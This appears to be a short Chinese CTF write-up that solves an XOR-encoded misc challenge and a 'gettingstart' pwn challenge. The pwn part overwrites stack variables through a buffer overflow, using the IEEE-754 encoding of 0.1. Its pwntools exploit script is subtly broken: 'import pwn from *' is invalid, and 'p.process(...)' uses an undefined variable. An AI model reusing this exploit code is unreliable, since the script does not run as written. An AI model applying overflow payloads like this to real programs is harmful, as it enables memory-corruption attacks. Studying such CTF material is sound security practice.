菜的扣脚,做做签到题就可以走了

MISC签退题(easy xor)

和网鼎杯的逆向advanced非预期解方法有点类似

base64解密后,逐位和flag异或

可以发现异或结果都为f

也可以和ASCII码0-255进行异或进行爆破

import base64
key = "AAoHAR1XICciX1IlXiBUVFFUIyRRJFRQVyUnVVMnUFcgIiNXXhs="

password = base64.b64decode(key)

flag = ''
for j in range(len(password)):
	flag += chr(ord('f')^ord(password[j]))

print flag

PWN(gettingstart)

利用buf覆盖掉v5和v6即可

但是程序不接受浮点数

需要找到double 0.1在64位程序是如何存储的

#include <stdio.h>
#include <stdlib.h>

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

int main(int argc, char *argv[]) {
	double x = 0.1;
	long long n = *(long long*)&x;
	printf("%llX",n);
	return 0;
}

构造exp如下

import pwn from *

p.process("./gettingstart")

payload = 24*'a' + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)

p.sendline(payload)
p.interactive()

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注